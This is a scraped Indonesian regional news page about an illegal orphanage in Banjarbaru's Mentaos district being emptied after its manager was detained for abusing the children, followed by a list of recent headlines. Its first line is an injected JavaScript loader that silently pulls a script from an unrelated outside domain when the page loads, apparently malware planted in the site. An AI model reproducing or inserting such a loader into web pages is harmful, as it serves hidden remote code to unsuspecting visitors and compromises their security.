(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Deadline Senin, Perabot Panti Asuhan Griya Yatim di Mentaos Mulai Diangkut


KANALKALIMANTAN.COM, BANJARBARU – Panti Asuhan Griya Yatim Dhuafa di Jalan Pangeran Suriansyah Ujung, Kelurahan Mentaos, Kecamatan Banjarbaru Utara, Kota Banjarbaru, mulai memindahkan barang-barangnya.

Pemindahan ini menyusul ilegalnya keberadaan panti asuhan ini dan pengelola panti asuhan. Dimana mereka juga kedapatan melakukan penganiayaan terhadap anak asuhnya.

Disamping itu, Kelurahan Mentaos memberikan tenggat waktu hingga Senin (16/1/2023) untuk pihak pengelola panti asuhan mengosongkan tempatnya.

Di depan panti itu masih membentang garis peringatan, yang dipasang oleh personel Satpol PP Banjarbaru beberapa hari lalu.

 

Baca juga  : Polisi Tetapkan Tersangka Penganiaya Anak Yatim di Mentaos Banjarbaru

Anak sulung pengelola panti, A (20) mengaku sudah merapikan barang-barang itu sejak Kamis (12/1/2023) malam. Selanjutnya akan mereka bawa ke satu rumah kontrakan, yang ada di Jalan Trikora Banjarbaru.

Rumah kontrakan di Jalan Trikora itu ujarnya merupakan tempat tinggal teman orangtuanya.

“Ke rumah teman bapak di Jalan Trikora, sementara dibawa ke sana dulu,” katanya, Minggu (15/1/2023).

Dikatakannya, setelah rumah tersebut disegel, mereka perlahan mengemasi barang-barangnya, yang mana hingga hari Minggu ini sudah banyak barangnya yang dipindahkan.

Disebutkannya juga bahwa, rumah yang dijadikan panti asuhan ini merupakan rumah yang disewa dari seseorang hingga bulan Mei 2023 mendatang.

Baca juga  : Pakai Knalpot Brong, Belasan Kendaran Diseret ke Mako Polsek Banjarbaru Utara

“Sudah dibayar kontrakan ini sampai Mei, tapi karena ada desakan dari pihak lain maka kami pindakan barang-barang,” jelasnya.

Sebelumnya pengelola panti asuhan Griya Yatim Dhuafa dilaporkan ke pihak berwajib karena dugaan penganiayaan terhadap anak asuh, yang kemudian ditindaklanjuti dengan penutupan permanen terhadap panti asuhan ini oleh pihak kelurahan dan Satpol PP Banjarbaru.

Sedangkan untuk pengelola panti asuhan pasangan suami istri (Pasutri) SJ dan ET diamankan ke Mako Polres Banjarbaru guna penyidikan lebih lanjut. Kemudian, SJ sebagai bapak asuh anak yatim ini terbukti melakukan penganiyaan dengan dalih pembinaan. Namun, dengan cara berlebihan dan sekarang SJ sudah berada di Rutan Polres Banjarbaru.

“Ibu sekarang ada di rumah teman bapak, kondisinya Alhamdulillah sehat,” tuntasnya.(Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : cell


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.